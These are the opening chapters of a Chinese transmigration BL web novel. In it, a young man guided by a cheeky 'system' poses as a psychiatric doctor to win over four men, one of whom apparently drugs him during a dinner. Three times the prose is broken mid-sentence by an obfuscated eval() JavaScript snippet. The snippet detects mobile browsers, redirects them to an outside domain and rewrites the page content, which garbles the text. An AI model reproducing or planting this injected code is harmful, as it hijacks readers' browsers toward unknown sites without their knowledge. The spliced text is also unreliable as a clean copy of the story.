《美人训夫分几步？［快穿］》 1. 命运多舛的直男 “我是一定要跟这一群精神病打交道是吗？” A市，坐落在偏郊的精神病院，办公室内，一位青年发出了感慨。 青年名叫许时清，男，二十二岁。许时清今年本是大四毕业生，学的理工科专业。因为在大三暑假时，他有幸去大厂实习，得到上司赏识，对方大手一挥，赏给他一个offer，只要等许时清一毕业，就可以立即入职，他的未来应是一片光明…… 然而许时清却在这个节骨眼上出事了。 先是家人重病，无人照顾，他可能得考虑放弃大城市的offer，回去照拂家里。 再是从小玩到大的发小，迟冬，趁毕业季和他表白了。 天知道许时清当时有多惶恐！迟冬这狗东西特意堵在他家门口跟他表白的，他们就住对门，也不怕被两家大人发现。 傍晚时分，路灯昏黄，许时清低头看着他手里捧着的一大束玫瑰花，平静地说：“迟冬，我是直男。” 迟冬：“我知道啊，但我觉得真情最能打动人心，朝夕相处总能有点感情的。你真不考虑跟我试试？” “……” 许时清沉默，半晌，他对人说：“你往边上挪一下呢。” 迟冬不明白他什么意思，但还是照做，刚往旁边撤了一步，说时迟那时快！只在眨眼之间，许时清一个箭步飞冲出去、三步上门，钥匙一插再一拧，进门后光速反锁。 整个动作行云流水一气呵成，直到听见“砰”的一声重响，迟冬才反应过来——许时清拒绝回答他的问题，所以直接跑路了。 那天晚上，许时清彻夜难眠。 有个问题他一直百思不得其解。他自认是个铁血直男，虽然母单二十多年恋爱经历为零，那性取向应该也是直的——但为什么喜欢他的女孩儿没几个，倒是找他告白的男人开始排长龙了呢？！ 比如高中时，班上有个男生性格太内向孤僻、学习成绩不高不低，在班里是个透明人。有一次体育课，许时清见他一个人蹲在角落当蘑菇，背影看起来实在弱小又无助，于是那节课他主动带着男生打羽毛球。 这只是出于善心的举动，自此之后，男生隔三差五找他问题、给他送零食，他都你来我往地接受，朋友之间可不就是这样的吗？ 谁知毕业那天他就收到了男生的告白信，洋洋洒洒写了六七页，字字句句都是让人肉麻到浑身冷颤的告白。 又比如上大学时，许时清这个大二学长作为志愿者帮助新生引路，顺便解答问题。他那天不过是帮小学弟拎了个行李箱，再祝对方大学四年生活顺遂，结果当天夜里就收到小学弟的告白信息。 许时清避之不及，只当对方是性格太随便，后面再没下文。 甚至有一次，许时清不过是好心在路边救助了一个醉酒男，对方是个社畜，因为失业加上失恋，几乎痛不欲生。 他强拉着许时清哭诉到凌晨，许时清几次都想离开，然而想到附近就有条大河，男人要是一时想不开，直接去跳河都说不定，到时候他还得担责。于是只能留下，听人吐了几个小时的苦水，安抚对方的情绪。 吐着吐着，男人竟然就开始问他有没有谈恋爱？因为有前车之鉴，许时清嗅觉敏锐，登时就站起身来，没有回答问题，在男人的注视下，骑上他的小电驴，“滴滴滴”地就跑了。 …… 但最让他意外的是，他的发小迟冬竟然也要来插一脚。许时清完全不理解，他们不是朝夕相处一起长大的好朋友吗？他可一直把迟冬当好兄弟，这感情怎么就突然变了质呢？！ 有句话叫做，倒霉的人会一直倒霉。许时清就是如此，先是家人重病、再是发小告白，没等他思考到底该如何处理问题，隔天他上街就出了车祸。 当时正从便利店出来，走在人行道上，老天爷也跟他作对，一辆不知到哪儿冒出来的卡车直直奔着他就来了——然后他就穿越了。 许时清的前半生已经足够大起大落，现在摊上这种事，剧情更加精彩。 按照一般穿越的套路，他现在正处于一个平行世界里，并且还正好有个系统。 只是这个系统不那么正经，别人家的系统上来都库库爆金币送外挂，他这系统见了他第一句就是：“我草你好漂亮啊我第一次接到你这么好看的宿主放心吧宝贝我一定会善待你的！” 许时清：“……” 能滚蛋吗？ 【咳咳咳！我也确实没说错啊，因为你真的很漂亮嘛！】 这话不假，许时清的样貌从小被夸到大。小时候粉雕玉琢，是在网上发帖问“我家孩子可以当童模吗”也会得到肯定夸赞的类型。 长开之后就越发水灵，皮肤白皙莹润，五官精巧，略缺英气，气质柔和，一对杏眼看人总温柔，薄唇稍显冷硬，但也不觉得多有距离感。所以，迟冬曾经调侃他是“男生女相”，披个长发穿小裙子去扮女孩都没人能认出来的那种。 【至于金手指，有的有的！我怎么可能让我大宝贝吃亏呢？我现在赐予你一个“美人训狗”金手指，助力你走上人生巅峰！】 许时清：……？ 【美人训狗，顾名思义，你这个美人要去训导属于你的“狗”。狗勾的好感度升高时，你会获得相应积分，积分足够的时候，可以兑换货币和道具，通关结束时，你也可以带着它们回家啦！】 许时清：“你的意思是，我还有回去的办法吗？” 【是的是的。】 许时清苦恼：“可是我又没养过狗，我更喜欢养猫来着……” 【……】 不是你说的那种狗啊大哥！ 许时清：“那是什么意思？” 接下来的时间里，系统花了至少十分钟才和他解释清楚，许时清半知半解，得出结论：“所以你是要我养鱼塘？我做不了这个。” 【为什么！】 许时清反倒奇怪：“很难理解吗？虽然现在大家都是快餐式恋爱，但我觉得感情还是要专一长久一点才好。” 【哦，所以你和你的发小十几年感情，难道还不够“专一长久”咯？】 许时清：“一码归一码，我又不喜欢男生……话说你怎么会知道这种事？” 【嘿嘿，你的系统无所不能，快夸我快夸我～】 “窥探我隐私还想被夸，滚蛋吧你。” 【啊，好爽～～】 许时清：“……” 他真的好想报警。 “但是，照你说的那样，我要想回家也只有这一个办法了，”许时清最终妥协，“所以我也会照做的。但我以前没有经历过，所以可能需要你的帮助。” 【不慌，有我在，没意外！接下来为你介绍第一个副本世界的背景。】 许时清在第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438152|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个世界的身份是“心理医生”，目前在A市偏郊的一家精神病院工作，负责给这里的病患做心理疏导。 本次他可攻略的对象一共有四个。 对象一，凌燚，听起来就不是很吉利的名字。脾气火爆的问题少年，患有躁郁症，经常情绪崩溃、不能自控，家人无奈之下把他送到这里修养治疗，希望他能早日恢复，重新回归正常生活。 对象二，柯怀雪，人如其名，是个柔弱的小孩。今年刚成年，听说以前在学校遭受过校园霸凌，留下严重的心理创伤，后面几度出现自毁倾向，不得已被人送往这家精神病院治疗管控。 对象三，言书，今年二十二岁，和许时清同龄。从小到大都是让人艳羡的优等生，家世显赫、有颜有才，被送到这里来，是因为父母认为他有同性恋倾向，这是精神病，得治。 “等等等等——”许时清越听越觉得不对味，虽然他本人是直的，但并不认为其他取向有什么错，怎么就划分成精神病了呢？ 系统回应他：【这个问题的答案，可能需要你自己去寻找哦。包括我刚才告诉你的信息，也只不过是初始数据而已，更多信息就需要你自己去挖掘啦！】 最后再介绍第四位，江起，好欣慰，这位竟然没有心理疾病。他是许时清的发小兼同事，二人共同在这家精神病院工作。除此之外，江起曾向许时清提起过，他目前已经有一位伴侣。 “停停停——” 许时清没忍住再次打断，他实在是有点头疼，便问：“你的意思是说，这家伙已经有对象了……那是男的女的？现在要我去攻略他，难道不是插足别人的感情吗？” 【这个问题依然无可奉告哦亲亲，更多答案需要你自己探索……】 许时清忍不住皱眉，这动作再平常不过，但在他那张总平淡如水的脸上，显得莫名娇嗔。他又说：“你不是说不会亏待我的么？不给我开外挂也就算了，怎么现在问你一个问题都这样费劲。” 【诶诶诶，我错了错了！但我也只能透露……嗯，江起的对象，是个男生。】 是男生就好。许时清莫名松了一口气，他自己作为直男时常被Gay骚扰，已经深受其害，简直不能更感同身受了，让他去做强行把人掰弯这种事，他做不到！ 【哦，所以对比之下，“插足别人的感情”这种事还算能接受咯？】 许时清恼：“你闭嘴！……” 【这次怎么不骂我了？】 许时清感觉眼前一黑，他要被这个嚣张的人工智障逼疯了！刚想发作，办公室的门被人叩响，他便收敛情绪，端正坐好。 “请进。” 来者是个十七八岁的少年，模样略显稚嫩，打了耳钉和眉骨钉，头发像是染过的，发梢倒黄不黄，应该是褪了色。很符合许时清对不良少年的刻板印象，再根据刚才系统给的介绍来看，他猜眼前这一位就是凌燚。 “喂，请问许医生是在这里吗？”凌燚嘴里嚼着泡泡糖，低头看自己的病历单，嘟囔说，“到底怎么想的？治疗室在这么偏远的地方，还得我跑一趟，真是一群……” 后面的话没说出口，因为他一抬头就看见许时清的脸，惊得后面半句话都忘了骂了。 “我就是许医生，我叫许时清。” 午后的日光暖融融，许时清背着光，对他微微一笑：“凌同学，需要我的帮助吗？” 2. 女王级别 “凌同学，需要我的帮助吗？” “……” 凌燚怎么都没想到，开门会看见这样一幕。 他被家人送来一个星期了，发疯也发了一个星期了。然而他如何反抗，或是破口大骂、或是打砸东西，都无人理会他。 “凌先生，我们一早就告诉过您了，根据您家人送您进来时的诉求，您需要经历一系列正规治疗、确认疾病基本治愈后，才可以联系他们接送您出院。所以现在还请您配合我们的工作吧。” 凌燚心底不屑，但也无可奈何，今天按照医护人员的指示，跑到这儿来看一次心理医生。 心理医生？这东西在他印象里就是个幌子，一群所谓洞悉人性和心理学的“高知分子”，用高高在上的姿态审视他们的病人，甚至还会在病人袒露心声、倾泻痛苦时予以嘲笑和讥讽。凌燚可不认为他们会对自己的病有什么帮助。 但是，眼前这个人，似乎不太一样？凌燚说不上来，可能是许时清笑起来的时候太有迷惑性，他足足看愣了两秒，然后才反应过来自己是来看病的。 他走到办公桌前，和许时清面对面坐着，将人从头到脚打量一遍，视线落在许时清胸前那块挂牌上：许时清，男，二十二岁。 凌燚嘟囔说：“这破地方还有这么年轻的医生吗？” 许时清微微一笑：“当然有的，你别看我年轻，论专业性我可还是有的。” 凌燚对他的说法半信半疑。 其实凌燚的看法完全没错——因为许时清真的什么都不会！上大学连“大学生心理健康教育”那种课，他一次都没认真听过，后面甚至直接翘课不去了，哪儿有什么资质当心理医生？！ 喂。许时清在心底默默祈祷，到关键时候了，你这个系统多多少少该发挥作用了吧？ 【你叫我一声宝宝我就给你金手指。】 许时清：去死吧。 【欸，也行！】 许时清：…… 他严重怀疑这个系统是个M。 【第一个世界的金手指，恭喜宿主，拥有了读心术！】 许时清：读心术？ 【没错！看见右手边墙上挂的那副听诊器了吗？用它倾听患者的心跳，就可以洞悉对方的想法啦！】 有这么厉害？许时清立刻转身去取听诊器，再重新落座的时候，发现凌燚正盯着他看。 许时清解释说：“心理咨询可能不常用到这个，但听过听你的心率，也能判断你现在的真实状态的。” 凌燚“哦”了一声，又别开视线，不知道想些什么。 答案马上揭晓，许时清让他撩开夹克外套，手掌握着听诊器另一端，轻贴在他胸口处。 入耳先是“砰砰”两声心跳，这声音差点把许时清吓了一跳，他第一次这样近距离地清晰听见别人的心跳声。再沉下心来仔细听，许时清终于听见一句： 【这狐狸精到底是做什么的，一般心理医生有这么骚吗？长得就不像副正经样。】 许时清：“……？” 是切入点不对吧？他狐疑地看了一眼凌燚，发现对方一副悠哉悠哉的样子，不像是会说这种话的。 于是许时清不信邪，又再听了一次，这次他听见： 【不过屁股倒是挺翘的。】 许时清：我要报警。 他听得太投入了，以至于越靠越近，等他反应过来的时候，头顶传来声音：“许医生……我第一次知道，帮人听心率，原来需要靠这么近啊？” “什么？” 许时清后知后觉，抬头正对上凌燚含笑的眼睛，再结合这混小子刚刚吐槽自己的话，许时清确信，他现在一定是带着恶意的。 但他也没生气，凌燚还没满二十岁，正读书的年纪，在他看来只是个处在叛逆期的小孩儿，没有置气的必要。 许时清收了听诊器，掏出一张单子，告诉他说：“抱歉，应你的家属要求，我想着要对你多加关照一些的，也算是不辜负他们的期望。” “你什么意思？”凌燚像是被这句话点着了，瞬间变了脸色，额角青筋都有些暴起，“谁他妈需要你这种人关照了！你以为自己是谁啊？！” 他发火，坐在对面的医生却神色淡淡，执笔在纸上写下一行字：情绪易怒。 “不是，我在跟你说话呢？你在纸上写什么写啊！” 凌燚快要拍桌而起了。许时清还是不理会，又再写下一句：有沟通障碍，无法正常交流。 凌燚要被他逼疯了：“拜托，我现在正在跟你说话呢，不给反应的人是你不是我！你再这样我就离开这儿了，我早就不想呆了你知道吗，你们根本就治不好我的病！” 许时清再写：总抱有悲观的态度，多次产生放弃治疗的想法，疑似有自毁倾向。 凌燚：“……” 他怀疑他要是再继续说下去，许时清都能说他是反社会人格了。 于是他稍微冷静一些，试图和许时清讲道理。 “你听着，我是被家里人强行押来的，但我不认为我有所谓的精神病，我是个正常人，可以自己工作赚钱，生活也能自理，”凌燚抛出了自己的条件，“所以，我想跟你达成约定。接下来的治疗，我不会继续配合，但麻烦你那边留存治疗的档案，我之后也就不会再惹事了，事成之后，我还会再给你一笔钱。” “怎么样，这笔买卖很划算吧？你们可是两头赚呢，而你什么都不用做。” 话说到这份上，凌燚自认他没有再拒绝自己的理由了，然而许时清一开口，又把他惹毛了。 “不行。” 许时清拒绝得很果断，“不可以。” 凌燚：“为什么？” 许时清看着他：“因为这是我的职责所在，我是你的医生，你是我的病患，只要你在我手下一天，我就应当对你负责。” “……” 凌燚简直要抓狂了啊！这个人长得倒是挺好看的，怎么脑子偏偏这么不灵光呢？真是油盐不进！ 许时清像是没察觉到他的情绪，写完病历单，抬头问他：“今天的诊治到此结束了，请问凌同学还有什么事吗？” “……没有了。”凌燚再跟他多说一句话，那才是真的要被气出病来。 “好，那再见，”许时清对他笑笑，“希望我们下次沟通会更顺畅哦！” 凌燚不想再回复，赌气似的离开了，临走前把门摔得“砰”地一声响。 许时清忍不住吐槽：“这个人肝火怎么这么旺啊？” 【清清大人。】 “嗯？”这是什么怪称呼。 【啥也别说了，我要膜拜你了！简直女王行为！！】 许时清纠正：“我是男的。” 【哎呀你不懂，“女王”是一种感觉！】 “……” 【小狗勾的表情简直不要太精彩了，本来以为可以发一通火压制住你，结果被你治得死死的！】 【嘶，不过清清大人你胆子也好大喔，刚才那种情况，你不怕他揍你么？】 “不怕。” 许时清说。 初来这个世界时，他就开始观察附近的环境了，通过桌上的一本入院手册，了解到这里的规则。除了最基本的医疗护理和心理疏导，还可以用到“关禁闭冥想”和电疗的方法。如果刚才凌燚这小子真敢跟他动手，他也不介意给凌燚上一课，正好测测疗效如何。 “好了，打发走凌燚，接下来我该做什么？”许时清征求系统的意见，他对此完全一窍不通。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438153|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【现在应该去见柯怀雪了。】 【前面提到，柯怀雪因为经历过一些事情，留下了严重的心理创伤，还有PTSD的症状，他没法再和一般人接触交流——但是唯独能和你相处。】 “噢，”许时清心下了然，又问，“那他没有家人吗？按理来说，这种情况应该第一反应是依靠家人才对，而不是……” 【柯怀雪的父母在他幼年离异，两个人都不愿意抚养性格孤僻的柯怀雪，所以他由奶奶抚养长大。后来唯一的亲人去世，他无依无靠，经历了一些事后，兜兜转转被这家精神病院接收了。】 唉。许时清忍不住叹气，这孩子怎么这么可怜？比小说主角还凄惨的程度，人家没爹疼没娘爱，经历重大挫折后至少还有贵人相助，东山再起走上人生巅峰。这柯怀雪却被送到精神病院里，能不能走出阴影都犹未可知。 许时清不由得产生了怜爱之情。 “那就去看看他吧。” —— 虽然这是精神病院，但许时清觉得和普通的医院陈设都差不多，只是没有前台接待处。 柯怀雪的病房在最顶层，他坐电梯上去，低头专注看手里的入院手册。电梯门将要合上的时候，一只手穿过缝隙，门重新弹开了。 进来的是个高高瘦瘦的男人，目测足有一米九几，比许时清高半个头，一头黑发，戴黑色长框眼镜，身上也穿着白大褂，衣前挂胸牌，上面写着：江起。 没记错的话，这是他第四个攻略对象。许时清愣了下，原来这几个人不是按顺序出场的么？ “清清。” 男人叫他一声，他才回过神来，发现对方正盯着自己看，“怎么不帮我按电梯？” “我……”许时清举了举手里的手册，“我刚才在看这个，没注意到你。” “噢，”江起点头，算是应允，又说，“现在要去看柯怀雪吗？” “你怎么知道？” “我当然了解你了，我们从小一起长大，你做什么事是我不知道的么？” 许时清没再接话，他总感觉这句话听起来怪怪的，但也没多想。 电梯缓慢上行，开门，临近分别的时候，江起忽然伸手拉住他的衣角。 江起问他：“等会儿下班，要一起去我家吗？” 许时清疑惑：“我去你家做什么？我有自己的家要回。” “我新淘了一瓶葡萄酒，想跟你一起喝。” 许时清想了想：“可你不是告诉我，你已经谈恋爱了吗？怎么不跟他一起喝酒，而是要来找我呢？” “……不愿意吗？”江起仍然在笑，笑容浅浅的，“清清，好像自从我告诉你我恋爱之后，你就开始疏远我了。” 那不是应该的吗？他又没有做小三的癖好！ 系统给的资料是不是有问题啊？许时清感觉江起也该得去测测有没有得病，比如绿帽癖之类的。 【答应他！答应他！】 许时清正要开口拒绝，系统又跟着撺掇，这个系统也是纯有病。 【别胡闹清清，要获得好感度，最好的办法就是顺从他们的需求呢，你也想早点回家对吧？】 “……” 能别老是用这种哄小孩一样的语气跟他说话吗？ 许时清叹气，选择妥协：“那好吧，我去你家就好了……希望你的对象不要介意。” 如果对方到时候要打小三的话，他一定会毫不犹豫把江起推出去，说“你要打先打他”的！ “好。” 听见许时清应答，江起肉眼可见地高兴起来。 他松开手，许时清走出电梯，转头看见电梯门缓慢合上，江起在缝隙里微笑着和他挥手告别。 “晚上见，清清。” 3. 你的衬衫真好看。 柯怀雪的病房在走廊最里面，听系统说，是因为他喜欢安静独处的环境，不喜欢被任何人打扰，所以就安排在顶楼角落了。 傍晚时分，病患们都结束白日的活动，回到病房里休息了。走廊此刻静得出奇，许时清的脚步声都清晰可闻。 来到最后一间病房，他没直接推门进去，而是在门口站定，先做几次深呼吸。 加油，许时清！你可以的！！就把这一切当个虚拟游戏体验好了，反正也不是现实发生的事…… 这样想着，许时清心情稍轻松些，推开房门，偌大的房间里有两张床，只有靠里的那张坐了人。 柯怀雪正坐在床边，腿上放着一个笔记本，低头用铅笔写写画画。听见背后传来响动，他停下笔，扭头看人，叫了声：“许医生。” 他的声音很轻、很柔。这是许时清的第一印象，声线也很稚嫩，再配合柯怀雪那张略显瘦弱的娃娃脸，完全就是小孩子的样子。 许时清还没想好怎么开口，柯怀雪又说：“你来啦。你已经有两天没来看我了。” “是这样吗？”许时清抱歉笑笑，“不好意思，我最近有点忙，今天就抽出时间来看你了。” “没关系的，”柯怀雪对他笑笑，垂下眼说，“只是我昨天晚上又做噩梦了。” 许时清关上门，走近，坐在他对面的那张床上，问他说：“梦见什么了？” 柯怀雪转过身来，面对面和他坐着，慢慢回忆：“梦里，有人在追我，他们说要杀了我，我就一直跑，跑到天台上，跳了下去，然后……” 说这话时，他一直紧紧盯着许时清，瞳孔慢慢放大，露出一个笑，“然后，许医生你接住我了。你告诉我说，不要害怕，你会一直陪在我身边的。” “再之后我就醒了，”柯怀雪说，“醒来之后一直在等你。等到日落黄昏，我以为你不会来了。” “……” 许时清听完沉默。虽然柯怀雪这副样子并不是他造成的，但他莫名觉得很有负罪感——毕竟他是柯怀雪最后可以依靠的存在了。 许时清叹了口气，说：“没关系的，梦境和现实都是相反的，不是吗？我以后也会多多来陪你，希望你可以早日好转起来。” “噢。” 柯怀雪点点头，歪头看他，忽然说：“许医生，感觉你今天很不一样。” 许时清：“哪里不一样？” 柯怀雪又笑：“今天……好像格外好看一点呢？” 许时清当他只是贫嘴，并没放在心上，又问他：“最近心情怎么样？有没有什么特别想要的东西？我记得你之前喜欢吃甜食……” 这是他刚刚给凌燚写单子，整理时在病历本里翻到的，册子里记载说，柯怀雪嗜甜。 “喜欢的，”柯怀雪弯弯眼睛笑，“许医生买的我都喜欢。” 唉。看着他这副样子，许时清忍不住感慨，差不多的年纪，同样都是“问题少年”，怎么柯怀雪就是乖乖小孩，凌燚就是鬼火少年呢？人与人的差别不要太大了。 “那我下次来的时候给你带一份蛋糕吧，”许时清又看见他藏起来的画本和铅笔，说，“你喜欢画画的话，彩笔也可以给你买一盒。” “好。” 柯怀雪依旧甜甜地应，他好像逆来顺受，许时清说什么他都回应并且肯定。应答完之后，他依旧坐在床边没有动作，只是睁着圆溜溜的眼睛，一动不动盯着许时清看。 这眼神没有恶意，但是怪瘆人的……让许时清联想到了橱窗里的仿真娃娃，他小时候最怕这种东西了。 许时清便问他：“还有什么要求吗？” 柯怀雪：“可以抱一下吗？” 这个要求显然有些唐突，但许时清没拒绝，因为他面对的只是一个受过伤的孩子。 许时清对他张开双臂，“可以。” 听见这话，柯怀雪赤着脚就下了地，朝他走来。 不是。许时清有点没反应过来，他刚才看柯怀雪的背影怪瘦弱的，怎么站起来这么大一只啊？神似长腿北极兔！ 许时清的动作其实怪僵硬的，因为他不习惯和人拥抱，长到这么大，也就跟他那喜欢扑倒人的发小抱过几次。后来觉得这样太丢脸，他都不肯再让迟冬近身了。 现在是柯怀雪主动抱他，他们之间的关系称得上是陌生人，但许时清并不排斥。柯怀雪先是环住他的腰，动作小心翼翼，最后手臂上移，反扣住了他的肩——抱得就更紧。 “你……” 许时清觉得他抱得有点太用力了，但又考虑到他的情绪，没多说什么，索性任由他抱着。 这个拥抱持续了足有几分钟，许时清感觉自己都快睡着了，柯怀雪才主动放开他。 “许医生，谢谢你。” 柯怀雪眨眨眼睛说：“明天我还能再见到你吗？” “当然可以的，答应你的事情我会做到。” 看一眼时间，已经不晚了，许时清到了下班时间，该走了。他起身离开，临走前和人挥别：“拜拜，明天见。” —— 应付完柯怀雪，下班之后，许时清的心情明显轻快许多。 他先给“便宜发小”江起发了消息，再回一趟办公室收拾东西，等待对方接自己下班。 收拾好公文包，许时清揣上了病案本，打算今晚回去认真研究下这四个人的喜恶。他把这桩事当做一门差事来做，自然要拿出公事公办的敬业态度。 拎包下楼，在门口等待江起的功夫，许时清收到一条短信。 对方的号码没有备注，手机系统提醒他是新号码，再一看发来的信息，更是怪异。 【许医生，你今天穿的衬衣颜色好漂亮。很衬你。】 许时清：【你是谁啊？】 【我这衣服优衣库买的，你要链接吗？】 对方没再回复。许时清也就没再管，刚好江起的车到了，他坐上副驾驶，系安全带。 江起问他：“有什么特别想吃的吗？我们去买点下酒菜。” 许时清摇摇头：“没有，我没什么胃口。” “不买菜，纯喝啊？”江起笑，“清清，你小心又喝醉了。” 大约十几分钟的车程，车辆穿过偏郊，中间经过市区，最后开如一个小区里。从门口的几尊石膏雕像和繁复的花坛造型来看，这应该是个高档小区没跑了，看来他这便宜发小还怪有钱的。 看见住所之后，许时清相信他果然有钱，那是栋三层小别墅，院前有花园，院后有喷泉，旁边还有类似温室的玻璃花房，简直是顶配了。 进门后，许时清在门口站定，问江起有没有鞋套？ 江起回头看他一眼，似乎很疑惑，然后从鞋柜里拿出一双崭新的拖鞋，说：“都会给你准备好的，你在我这里不是外人。” 那真是谢谢你了。 许时清穿上拖鞋，心想，你对你那男朋友也这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438154|184991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么好吗？ 算了，还是那句话，一切都是江起的锅，也不是他自愿要来的，要打小三别打他！ “你先去沙发上坐回儿吧，我去弄两个小菜，也算有点仪式感。” 江起说完，拎起桌上的一袋子菜进厨房了，看来他为今天的晚酌做足了准备。 许时清应下，先在沙发上落座，打开了电视，然而他看不进去。 神游了好一会儿，听见系统提醒他：【清清大人，这可是个好机会啊！】 “什么机会？” 【了解攻略对象的好时机呀！你要想解开他们的秘密、走进他们心里，当然要知己知彼了。】 “噢。” 许时清看一眼厨房，为了隔绝油烟，江起特意把厨房的磨砂玻璃门拉上了，里面应该听不见声音，也看不见他正在做什么。 这还真是个好机会？许时清拿定主意，悄悄起身离开客厅，上了二楼。 一楼是厨房和客厅，二楼才是卧室，三楼暂时不知道，他打算先去江起的卧室看看就好，其他的等下次来再说。 唉……怎么还有下次呢？许时清记得自己也不是专业做贼的啊。 江起的卧室就在楼梯转角，没有锁门，许时清一推就开了。 卧室的装修风格以黑白灰为主，很符合江起的气质和调性。许时清扫一眼房间，感觉并没有什么好看的，床上只有枕头和叠好的被子，书桌上有一盏台灯，一个笔筒，和……一个日记本？ 偷看日记是很不好的行为。许时清在心底告诉自己，但是今天是江起非要邀请他来家里做客，所以这算是引狼入室咎由自取，两两抵消了！ 许时清管不了那么多，拿起日记本就翻看起来。皮革质地的笔记本，拿在手里怪厚重的，有些地方摸着硬硬的，不平整，是江起在中间夹了照片。 许时清随便翻了一页，正好翻到最新的那页，这一页开头写了一句话，但看不清是什么，因为又被黑笔划得乱七八糟。缝里夹了一张照片。不，是半张照片，半张许时清被撕碎的照片，这张照片他似乎在和别人合照，但合照的对象已经被撕掉了，只剩下半边完好的许时清。 这照片是……？ 许时清疑惑，刚想往前面翻一页，背后突然响起话音：“清清。” 这声音着实吓了他一跳。江起走路完全没有声音的吗？！他手一抖，慌忙将日记本放回桌上，转过身来背着手，心虚完全写在脸上。 江起却没过问他偷看自己日记的事，只说：“菜做好了，下来吃饭吧。” …… 之后的饭局，许时清一直心神不宁。 江起给他的感觉实在是太怪异了。嘴上说着已经恋爱、有了对象，却追着要对他示好；日记里还夹着他的半张照片——该不会是又喜欢他吧！ 都怪狗日的迟冬，非要挑在不合时宜的时候告白，破坏他们这么多年纯洁的友谊。搞得他现在看谁都感觉不单纯了。 江起倒是很悠闲的样子，一边给他夹菜，一边说：“我看外面好像下雨了，你今晚要不就在这里留宿吧？” “嗯？”许时清咽下红酒，赶紧拒绝，“不了不了，那样也太麻烦你了，我自己等会儿打车回去就……” 他话音未落，忽然感觉眼前一黑，身体一沉，骤然失去了意识。 坐在对桌的江起看见倒在桌上不省人事的他，慢悠悠喝了一口酒，说：“不麻烦，都是我应该做的。” 4. 许医生能考虑一下喜欢我吗？ 次日，许时清睡到日上三竿才起。 他完全忘记自己昨晚是怎么睡着的了，最后的印象只停留在他跟江起一起喝酒……嘶，难道真的是因为喝两杯酒就醉了，然后彻底断片了吗？ 这是许时清第一次宿醉，但醒来后除了头有点晕，似乎没有特别不适的感觉。 他一边刷牙，一边问系统：“昨天晚上到底发生什么了？” 【我也不知道啊清清大人，您睡着以后我也会强制关机的，我们可是命运共同体！】 “……” 没用的东西。别人家的系统都秒天秒地秒空气，他的系统除了会说骚话以外一无是处。 刷完牙，许时清再用冷水洗了把脸，感觉稍微清醒一点儿了。去整理床铺的时候，他忽然感觉下半身凉飕飕的，头脑宕机了好几秒。 如果没记错的话，昨天他穿的是衬衫，外搭休闲外套，下搭一件牛仔长裤，怎么一夜过去就变成宽松的短裤了？ 不对劲，十分有十二分的不对劲！ 许时清铺好床出门，楼下客厅的灯全亮着，厨房里有抽油烟机工作的声音，是江起早起在做早饭。 他本想趁这个机会直接溜走，但又实在介意他的裤子被换掉这件事，所以乖乖坐在沙发上等待开饭，顺便问出那个问题。 江起剥了一只虾。该说不说，这家伙的手其实很漂亮，指节修长、骨节分明，掌心有些宽大，手背上还有青筋微微凸起，看起来很有力的样子。 但许时清却没什么心情欣赏，看着江起把那只虾放在他碗里，他忽然问：“昨天晚上……” “嗯？”江起疑惑，“昨晚怎么了吗，清清。” 许时清抬头看着他，“我是喝醉了吗？” “是的，”江起笑起来，“我早跟你说过了，你喝酒很容易醉的，结果还是这么不小心。” “那我的裤子……”许时清犹豫，“也是你换的？” “嗯。” 江起低下头，继续给他夹菜，“你的裤子昨天打湿了，我看你不方便，就帮你换了，已经洗过晾干了，就在阳台上。” “好，那真是谢谢你了。” 许时清松一口气，没发生什么大事件就好。他第一次喝醉酒，要是跟那些酒鬼一样满嘴跑火车，说些胡话就不太好了，会直接暴露身份也说不定……话说在这里暴露身份会有什么后果吗？总不可能把他当异类处置吧。 “不用谢，都是我应该做的，”江起说，“先吃饭吧，等会儿我们一起去上班。” “好。” 嗯，抛开之前那些怪异的感觉，许时清捡到的这个便宜发小……好像还不赖？ —— “许医生早啊，今天又和江医生一起来的吗？” “早，”许时清进了电梯，里面正站着一个医护人员，他和她打招呼，“是一起来的。” 护工笑笑，又说：“感觉你们感情真好啊，难怪江医生这么帅还有钱都找不到对象，指定是你俩感情太好，把他桃花运都挤兑走了！” 她这话只是在夸张和打趣，但许时清却听出不对劲。 许时清：“江医生他……不是已经有对象了吗？” 护工：“啊？” 这次轮到她懵了，“没有啊，我跟江医生的助理关系蛮不错的，我没有听她说过欸。” 许时清收敛神情：“嗯，那可能是我记错了？我到了，就先走了。” 电梯门开启，他匆匆往外走，边走边问系统：“你怎么回事？不是说江起有个男朋友吗！没有作用就算了，现在还谎报军情是吧！” 【呜呜呜呜，冤枉啊清清大人！小人也只是个打工人，上面告诉我什么信息，我就传达给您了，不存在故意谎报的情况！】 